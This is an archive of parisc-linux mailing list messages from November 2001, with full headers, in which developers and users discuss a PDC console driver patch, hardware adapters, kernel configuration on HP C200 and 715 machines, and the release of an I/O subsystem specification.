	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 12:16:42 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011121191640.YQFW1236.viefep13-int.chello.at@gmx.at>;
          Wed, 21 Nov 2001 20:16:40 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13169

Hello again,

Are you able to write the drivers ?
Do you have the documentation for that ?
I have problems with my spare time, but I am also interested in writing
drivers (especially for my machine !)

Which drivers will you write ?
MUX ?, SCSI ? (parallel port ?)

Bye
Christoph



Ryan Bradetich wrote:
> 
> Hello Christoph,
> 
> I have integrated your patch into my tree, and have been testing out the
> patch on my C200+ and the K460.  With the PDC console patch, I do get to
> the console on the K460 which is great news.  I am still going to work
> on the driver for the actual hardware (in my case the Eole CAP/MUX, and
> in your case the Sahp Baat Kiuh AP/MUX), but this is a nice work around
> until that work is finished.
> 
> When integrating your patch into my tree, I made the following changes:
> 
> * Dropped the LCD support.
>         I do not understand this portion of the code very well, and it  had
> some uglyness that made me feel uneasy to commit to the tree.   Someone
> else should look at this and integrate it properly.
> 
> * Renamed the pdc_drv to pdc_console.
>         Just seemed more accurate to me .. I am open for other opinions
>         on this.
> 
> * Added the configure option and help text for the PDC software console.
> * Inegerated CONFIG_PDC_CONSOLE into the drivers/char/Makefile.
> * Integrated CONFIG_PDC_CONSOLE into arch/parisc/kernel/pdc_cons.c and
>         performed some minor cleanups.
> 
> * probably other things I've forgotten :)
> 
> Overall I though the patch looked great, but I still have 1 concern left
> and that is about the major number.
> 
> According to Documentation/devices.txt major number 30 is reserved for:
>  30 char        iBCS-2 compatibility devices
> 
> I understand about --><-- much about how major numbers are handled and I
> know this is a topic of debate among the main stream kernel developers.
> If we ever want to move this driver into the mainstream kernel this
> issue will probably need to be resolved ... and I have no idea on how to
> proceed.  Maybe others on this list will have an idea, or when the time
> comes we will need to address this on the lkml.  Before I commit this
> patch to the CVS repository, I'd like to get some concensus on this list
> about what is right.  (ie for the debian installer to work with this
> device, /dev/ttyB0 will need to be added to the MAKEDEV package, etc).
> 
> Anyways the patch is available for feedback at:
> ftp://ftp.parisc-linux.org/patches/pdc_console.diff
> 
> I am still working on testing this driver ... I would be very happy to
> see install the K460 using the debian installer using this patch.  I am
> currently working on making that happen.
> 
> Thanks,
> 
> - Ryan

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Need EVC-VGA adapter
Date: Wed, 21 Nov 2001 20:20:56 +0000 (GMT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0111211621080.10763-100000@student.cs.ucc.ie>
References: <20011120203938.2ef9bb6e.phr@3dkit.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620791 30659 80.91.229.3 (22 Nov 2014 01:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 13:20:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id A69EE482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 13:20:38 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id UAA00629
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 20:20:56 GMT
In-Reply-To: <20011120203938.2ef9bb6e.phr@3dkit.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13170

Hi,

I recently purchased a C240.

Unfortunately no EVC-VGA adapter was in the package.
I thought it is quite easy to get these (since EVC is
the new VESA standard), but I just found a few Internet
companies who sell them. The adapter itself is rather expensive,
usually about 50 EURO.

If somebody has such an adapter or adapter cable and if
he/she is willing to sell it for less than 50 EURO
(including shipping costs to Ireland), please let me know

TIA, max




From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: Wed, 21 Nov 2001 21:50:26 +0100
Organization: private
Lines: 78
Approved: news@gmane.org
Message-ID: <3BFC1392.F43CC867@gmx.at>
References: <3BF99676.2A291CDD@gmx.at> <1006299638.4898.16.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620791 30668 80.91.229.3 (22 Nov 2014 01:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:31 +0000 (UTC)
Cc: marteaut@esiee.fr, grundler@puffin.external.hp.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <ryan_bradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 13:50:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A8DC482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 13:50:28 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011121205025.CPX1238.viefep16-int.chello.at@gmx.at>;
          Wed, 21 Nov 2001 21:50:25 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13171

Hallo Ryan Bradetich !

I cannot send emails to you !!!!!
The system cannot sent to the address 

	ryan_bradetich@uswest.net

Do you have an error in your reply address ?
Why I cannot reach you ?

With friendly regards
Christoph



Ryan Bradetich wrote:
> 
> Hello Christoph,
> 
> I have integrated your patch into my tree, and have been testing out the
> patch on my C200+ and the K460.  With the PDC console patch, I do get to
> the console on the K460 which is great news.  I am still going to work
> on the driver for the actual hardware (in my case the Eole CAP/MUX, and
> in your case the Sahp Baat Kiuh AP/MUX), but this is a nice work around
> until that work is finished.
> 
> When integrating your patch into my tree, I made the following changes:
> 
> * Dropped the LCD support.
>         I do not understand this portion of the code very well, and it  had
> some uglyness that made me feel uneasy to commit to the tree.   Someone
> else should look at this and integrate it properly.
> 
> * Renamed the pdc_drv to pdc_console.
>         Just seemed more accurate to me .. I am open for other opinions
>         on this.
> 
> * Added the configure option and help text for the PDC software console.
> * Inegerated CONFIG_PDC_CONSOLE into the drivers/char/Makefile.
> * Integrated CONFIG_PDC_CONSOLE into arch/parisc/kernel/pdc_cons.c and
>         performed some minor cleanups.
> 
> * probably other things I've forgotten :)
> 
> Overall I though the patch looked great, but I still have 1 concern left
> and that is about the major number.
> 
> According to Documentation/devices.txt major number 30 is reserved for:
>  30 char        iBCS-2 compatibility devices
> 
> I understand about --><-- much about how major numbers are handled and I
> know this is a topic of debate among the main stream kernel developers.
> If we ever want to move this driver into the mainstream kernel this
> issue will probably need to be resolved ... and I have no idea on how to
> proceed.  Maybe others on this list will have an idea, or when the time
> comes we will need to address this on the lkml.  Before I commit this
> patch to the CVS repository, I'd like to get some concensus on this list
> about what is right.  (ie for the debian installer to work with this
> device, /dev/ttyB0 will need to be added to the MAKEDEV package, etc).
> 
> Anyways the patch is available for feedback at:
> ftp://ftp.parisc-linux.org/patches/pdc_console.diff
> 
> I am still working on testing this driver ... I would be very happy to
> see install the K460 using the debian installer using this patch.  I am
> currently working on making that happen.
> 
> Thanks,
> 
> - Ryan

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] My C200 situation
Date: Wed, 21 Nov 2001 17:35:55 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <3.0.5.32.20011121173555.01928d40@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620791 30670 80.91.229.3 (22 Nov 2014 01:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 15:36:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49AF5482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 15:36:02 -0700 (MST)
Original-Received: from old@istop (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with SMTP id E5E1717030
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 17:37:43 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13172

OK, I was sidetracked for a few days but I'm back with news on the C200.

I got the cross-compile stuff for my Thunderbird Linux machine, got the
latest snapshot of the source and made a change in
drivers/video/sti/sticore.c to reverse the #if 1 to #if 0 and compiled. The
FX4 works with the exception of a short period during the startup where the
"Tux" logo would be displayed (at least I think this is the place!) the
screen switches to text on a set of 4 stripes - blue, black, blue then
black (quite broad vertical stripes) but then reverts back to the plain
black mode without the logo. Otherwise it seems to work.

Does that mean that stifb is up on the FX4??
What about X then?

I haven't yet dug into the code yet but I'm not too sure I could divine the
cause. Any hints or tips???

By the way, I also tried a 64-bit kernel 2.4.14pa6 which did not do
anything I could see after setting the w-bit in the processor status
register (went to 64-bit mode).

Regards, Herb




From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hardball ERS now available
Date: Wed, 21 Nov 2001 17:27:45 -0700 (MST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200111220027.RAA15886@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620792 30673 80.91.229.3 (22 Nov 2014 01:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 17:27:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D998482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 17:27:47 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (unknown [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 34A491F97E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 19:27:46 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id RAA15886
	for parisc-linux@lists.parisc-linux.org; Wed, 21 Nov 2001 17:27:45 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13173

I've made the Hardball External Reference Specification (ERS) available on
the tech documentation page at www.parisc-linux.org.  This ERS documents
the I/O subsystem for the 735/755.  It includes documentation for the
fast/wide SCSI interface and FDDI interface.  This document can also be
useful for 710/720/730/750 systems, since the document is very similar to
the Cobra/Coral I/O subsystem ERS, i.e. not much changed between the two.

The document is somewhat large (4.2 Mb) because it is a pdf file derived
from tiff images.  I could not find the original source for the document
(it's 10 years old) so I had to scan it in.  I also had to edit the images
to "clean" it for release, which basically involved removing engineer
names, email addresses and phone numbers in this case.  I chose a
resolution that I felt provided the best tradeoff between readability and
size).

Enjoy,

John Marvin
jsm@fc.hp.com



From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My C200 situation
Date: Wed, 21 Nov 2001 21:47:18 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <200111220447.VAA03217@puffin.external.hp.com>
References: <herbr@magma.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620792 30676 80.91.229.3 (22 Nov 2014 01:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 21:51:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C320F482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 21:51:38 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA03217;
	Wed, 21 Nov 2001 21:47:18 -0700
In-Reply-To: Message from Herb Radford <herbr@magma.ca> 
   of "Wed, 21 Nov 2001 17:35:55 EST." <3.0.5.32.20011121173555.01928d40@mail.magma.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13174

Herb Radford wrote:
> Does that mean that stifb is up on the FX4??

No. That's just the STI console - different driver.

> What about X then?

Dunno - but don't think that's the same.

> By the way, I also tried a 64-bit kernel 2.4.14pa6 which did not do
> anything I could see after setting the w-bit in the processor status
> register (went to 64-bit mode).

Did you enable CONFIG_PDC_NARROW?
That's required for 64-bit on Cxxx (but not on Cxxxx) machines.

grant



From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My C200 situation
Date: Thu, 22 Nov 2001 05:15:04 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20011122051504.A490@parcelfarce.linux.theplanet.co.uk>
References: <3.0.5.32.20011121173555.01928d40@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620792 30679 80.91.229.3 (22 Nov 2014 01:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 22:15:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CC4A482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 22:15:11 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 166mCW-0000KG-00; Thu, 22 Nov 2001 05:15:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3.0.5.32.20011121173555.01928d40@mail.magma.ca>; from herbr@magma.ca on Wed, Nov 21, 2001 at 05:35:55PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13175

On Wed, Nov 21, 2001 at 05:35:55PM -0500, Herb Radford wrote:
> I got the cross-compile stuff for my Thunderbird Linux machine, got the

btw, one of the PA processors (think it's the PA7100 / PCX-T) is also
called T-bird, so using this nomenclature for an athlon is rather confusing.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: hugues.henriot@tudor.lu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 715/64 Keyboard not recognized
Date: Thu, 22 Nov 2001 10:19:25 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <OF9594B9C0.CEA20CC1-ONC1256B0C.00322D66@kirchberg.crpht.lu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620792 30681 80.91.229.3 (22 Nov 2014 01:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 02:22:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rebelbase.kirchberg.crpht.lu (rebelbase.kirchberg.crpht.lu [158.64.4.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EC4C482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 02:22:13 -0700 (MST)
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
X-MIMETrack: Serialize by Router on rebelbase.crpht.lu/CRP-HT(Release 5.0.8 |June 18, 2001) at
 11/22/2001 10:19:25 AM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13176

Hi,

I'm trying to install Linux on my old HP 715/64 but i have some problems
with the keyboard and the mouse ...

I'm booting on the CD ROM on the ISO image File "palinux-0.9.2.iso"

During the boot process, my keyboard (PS2) an the mouse (HIL)are recognised
but when i'm under the "installation process", I have any response from my
keyboard !

RQ : My PS2 keyboard and the HIL mouse are connected on my workstation with
a "keyboard adapter module" and this module is directly attached with on
the station with an RJ45 Cable


If sb can help me ..

______________________________
Hugues HENRIOT
Computer and Network Services
Centre de Recherche Public Henri Tudor
6, rue Coudenhove-Kalergi
L-1359 Luxembourg-Kirchberg

Phone : 425991 218
Fax : 436523
______________________________






From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 715/64 Keyboard not recognized
Date: Thu, 22 Nov 2001 11:13:12 +0100
Organization: SAP LinuxLab
Lines: 22
Approved: news@gmane.org
Message-ID: <E166qr2-0000jb-00@linuxlab.wdf.sap-ag.de>
References: <OF9594B9C0.CEA20CC1-ONC1256B0C.00322D66@kirchberg.crpht.lu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620793 30683 80.91.229.3 (22 Nov 2014 01:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:33 +0000 (UTC)
To: hugues.henriot@tudor.lu, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 03:13:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64DDD482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 03:13:16 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id LAA00858;
  Thu, 22 Nov 2001 11:16:20 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <OF9594B9C0.CEA20CC1-ONC1256B0C.00322D66@kirchberg.crpht.lu>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13177

Hi Hugues,

> During the boot process, my keyboard (PS2) an the mouse (HIL)are recognised
> but when i'm under the "installation process", I have any response from my
> keyboard !
>
> RQ : My PS2 keyboard and the HIL mouse are connected on my workstation with
> a "keyboard adapter module" and this module is directly attached with on
> the station with an RJ45 Cable

Hmm, we don't have any HIL-mouse driver in pa-linux yet. Are you sure your mouse 
is really working (boot messages ???) and if it's so then I assume you have a PS/2 mouse.

